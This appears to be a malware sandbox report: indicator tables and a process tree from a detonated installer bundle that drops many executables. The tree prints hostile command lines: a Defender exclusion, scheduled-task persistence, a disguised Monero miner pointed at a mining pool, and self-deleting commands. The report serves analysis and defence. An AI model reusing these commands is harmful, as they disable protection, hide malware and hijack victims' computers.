Token: SeDebugPrivilege	2848	WerFault.exe
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1008	ultramediaburner.tmp
3392	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3392	iexplore.exe
3392	iexplore.exe
4004	IEXPLORE.EXE
4004	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 856 wrote to memory of 1404	856	setup_x86_x64_install.exe	29
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 1404 wrote to memory of 976	1404	setup_installer.exe	30
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1672	976	setup_install.exe	32
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1336	976	setup_install.exe	33
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1860	976	setup_install.exe	58
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 1760	976	setup_install.exe	34
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 540	976	setup_install.exe	57
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1000	976	setup_install.exe	35
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1684	976	setup_install.exe	36
PID 976 wrote to memory of 1948	976	setup_install.exe	37

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:856
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC7568813\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
      4⤵
      Loads dropped DLL
      PID:1336
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1772
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1772 -s 1408
        6⤵
        Loads dropped DLL
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
      4⤵
      Loads dropped DLL
      PID:1760
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun193fda712d9f1.exe
        
        Sun193fda712d9f1.exe
        5⤵
        Executes dropped EXE
        
        PID:768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
      4⤵
      Loads dropped DLL
      PID:1000
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:760
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1684
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun19de8ff4b6aefeb8.exe
        
        Sun19de8ff4b6aefeb8.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1108
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun19de8ff4b6aefeb8.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun19de8ff4b6aefeb8.exe" & exit
        6⤵
        
        PID:2788
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun19de8ff4b6aefeb8.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
      4⤵
      Loads dropped DLL
      PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun191101c1aaa.exe
        
        Sun191101c1aaa.exe
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:1444
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3768
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:3848
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        
        PID:832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:1216
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:3208
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:3536
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:320
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
        
        C:\ProgramData\1676163.exe
        
        "C:\ProgramData\1676163.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
        
        C:\ProgramData\2325968.exe
        
        "C:\ProgramData\2325968.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2164
        
        C:\ProgramData\4671479.exe
        
        "C:\ProgramData\4671479.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1748
        
        C:\ProgramData\4671479.exe
        
        "C:\ProgramData\4671479.exe"
        9⤵
        
        PID:3660
        
        C:\ProgramData\4671479.exe
        
        "C:\ProgramData\4671479.exe"
        9⤵
        Executes dropped EXE
        
        PID:3680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1748 -s 772
        9⤵
        Program crash
        
        PID:3724
        
        C:\ProgramData\8896686.exe
        
        "C:\ProgramData\8896686.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3320
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:972
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 972 -s 1432
        8⤵
        Program crash
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:1100
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2440
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:1500
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        Executes dropped EXE
        
        PID:980
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2844 -s 1432
        8⤵
        Program crash
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
        7⤵
        Executes dropped EXE
        
        PID:2916
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2916 -s 792
        8⤵
        Program crash
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:760
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:540
        
        C:\Users\Admin\AppData\Local\Temp\is-SGBQ8.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SGBQ8.tmp\setup_2.tmp" /SL5="$20296,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:3260
        
        C:\Users\Admin\AppData\Local\Temp\is-5KTLD.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-5KTLD.tmp\setup_2.tmp" /SL5="$20254,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\is-372SV.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-372SV.tmp\postback.exe" ss1
        11⤵
        
        PID:3624
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        12⤵
        
        PID:3240
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\fiOo61LWZ.dll"
        13⤵
        
        PID:2564
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\fiOo61LWZ.dll"
        14⤵
        
        PID:3644
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Users\Admin\AppData\Local\Temp\fiOo61LWZ.dll"
        15⤵
        
        PID:3720
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\fiOo61LWZ.dll9GwhX3P3s.dll"
        13⤵
        
        PID:1136
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\fiOo61LWZ.dll9GwhX3P3s.dll"
        14⤵
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:1224
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:3152
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        
        PID:3248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
      4⤵
      Loads dropped DLL
      PID:520
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun19eb40faaaa9.exe
        
        Sun19eb40faaaa9.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2108
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2108 -s 1012
        6⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
      4⤵
      Loads dropped DLL
      PID:1828
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun198361825f4.exe
        
        Sun198361825f4.exe
        5⤵
        Executes dropped EXE
        
        PID:1656
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1656 -s 800
        6⤵
        Executes dropped EXE
        Program crash
        
        PID:1224
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
      4⤵
      Loads dropped DLL
      PID:672
    - - C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun1966fb31dd5a07.exe
        
        Sun1966fb31dd5a07.exe
        5⤵
        
        PID:2164
      - C:\Users\Admin\AppData\Local\Temp\is-A8H9Q.tmp\Sun1966fb31dd5a07.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-A8H9Q.tmp\Sun1966fb31dd5a07.tmp" /SL5="$2015A,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun1966fb31dd5a07.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\is-9SQQD.tmp\Ze2ro.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-9SQQD.tmp\Ze2ro.exe" /S /UID=burnerch2
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:2480
        
        C:\Program Files\Windows Portable Devices\EPLMWCIQKN\ultramediaburner.exe
        
        "C:\Program Files\Windows Portable Devices\EPLMWCIQKN\ultramediaburner.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\is-GRQI5.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-GRQI5.tmp\ultramediaburner.tmp" /SL5="$101B4,281924,62464,C:\Program Files\Windows Portable Devices\EPLMWCIQKN\ultramediaburner.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:1008
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        Executes dropped EXE
        
        PID:2884
        
        C:\Users\Admin\AppData\Local\Temp\a1-15a03-130-3fe86-f2401ed6d639c\Nicuzhaetivae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a1-15a03-130-3fe86-f2401ed6d639c\Nicuzhaetivae.exe"
        8⤵
        Executes dropped EXE
        
        PID:2432
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3392
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3392 CREDAT:275457 /prefetch:2
        10⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:4004
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3392 CREDAT:1848328 /prefetch:2
        10⤵
        
        PID:3872
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3392 CREDAT:1455138 /prefetch:2
        10⤵
        
        PID:4016
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:3900
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:3172
        
        C:\Users\Admin\AppData\Local\Temp\2e-55a4f-50e-85ebe-c6435271b54cf\Lomahibohy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2e-55a4f-50e-85ebe-c6435271b54cf\Lomahibohy.exe"
        8⤵
        Executes dropped EXE
        
        PID:1196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
      4⤵
      Loads dropped DLL
      PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
      4⤵
      Loads dropped DLL
      PID:540
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
      4⤵
      Loads dropped DLL
      PID:1860

C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun19262b9e49ad.exe
Sun19262b9e49ad.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1800
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1120
  2⤵
  - Loads dropped DLL
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun195a1614ec24e6a.exe
Sun195a1614ec24e6a.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun1905815e51282417.exe
Sun1905815e51282417.exe
1⤵
- Executes dropped EXE
PID:2120

C:\Users\Admin\AppData\Local\Temp\7zSC7568813\Sun19e4ade31b2a.exe
Sun19e4ade31b2a.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1716
- C:\Users\Admin\AppData\Roaming\6301847.scr
  "C:\Users\Admin\AppData\Roaming\6301847.scr" /S
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Users\Admin\AppData\Roaming\5041774.scr
  "C:\Users\Admin\AppData\Roaming\5041774.scr" /S
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2828
- C:\Users\Admin\AppData\Roaming\4498685.scr
  "C:\Users\Admin\AppData\Roaming\4498685.scr" /S
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- - C:\Users\Admin\AppData\Roaming\4498685.scr
    "C:\Users\Admin\AppData\Roaming\4498685.scr"
    3⤵
    - Executes dropped EXE
    PID:2776
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 764
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:2848
- C:\Users\Admin\AppData\Roaming\6674615.scr
  "C:\Users\Admin\AppData\Roaming\6674615.scr" /S
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2388

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3572
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2120

C:\Users\Admin\AppData\Local\Temp\190B.exe
C:\Users\Admin\AppData\Local\Temp\190B.exe
1⤵
PID:864

C:\Users\Admin\AppData\Local\Temp\5B0B.exe
C:\Users\Admin\AppData\Local\Temp\5B0B.exe
1⤵
PID:2932
- C:\Users\Admin\AppData\Local\Temp\5B0B.exe
  C:\Users\Admin\AppData\Local\Temp\5B0B.exe
  2⤵
  PID:2516
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\841faa3d-bea0-4165-9d91-eb67d48d1d6c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2860
- - C:\Users\Admin\AppData\Local\Temp\5B0B.exe
    "C:\Users\Admin\AppData\Local\Temp\5B0B.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\5B0B.exe
      "C:\Users\Admin\AppData\Local\Temp\5B0B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:3928
    - - C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build2.exe
        
        "C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build2.exe"
        5⤵
        
        PID:2116
      - C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build2.exe
        
        "C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build2.exe"
        6⤵
        
        PID:1728
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:3772
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:1128
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:3296
    - - C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build3.exe
        
        "C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build3.exe"
        5⤵
        
        PID:2316
      - C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build3.exe
        
        "C:\Users\Admin\AppData\Local\e1e6bfa4-8795-4312-8d45-4ebc90cce035\build3.exe"
        6⤵
        
        PID:2424
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2068

C:\Users\Admin\AppData\Local\Temp\8769.exe
C:\Users\Admin\AppData\Local\Temp\8769.exe
1⤵
PID:2932

C:\Users\Admin\AppData\Local\Temp\AA55.exe
C:\Users\Admin\AppData\Local\Temp\AA55.exe
1⤵
PID:3808

C:\Users\Admin\AppData\Local\Temp\FB52.exe
C:\Users\Admin\AppData\Local\Temp\FB52.exe
1⤵
PID:3732

C:\Users\Admin\AppData\Local\Temp\18E1.exe
C:\Users\Admin\AppData\Local\Temp\18E1.exe
1⤵
PID:4016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\18E1.exe"
  2⤵
  PID:1612
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:2148

C:\Windows\system32\taskeng.exe
taskeng.exe {3C788F2F-A182-45C4-81DE-6C59C1013A77} S-1-5-21-2375386074-2889020035-839874990-1000:AFOWCZMM\Admin:Interactive:[1]
1⤵
PID:2484
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:3620
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:1192
- C:\Users\Admin\AppData\Roaming\gtcdagc
  C:\Users\Admin\AppData\Roaming\gtcdagc
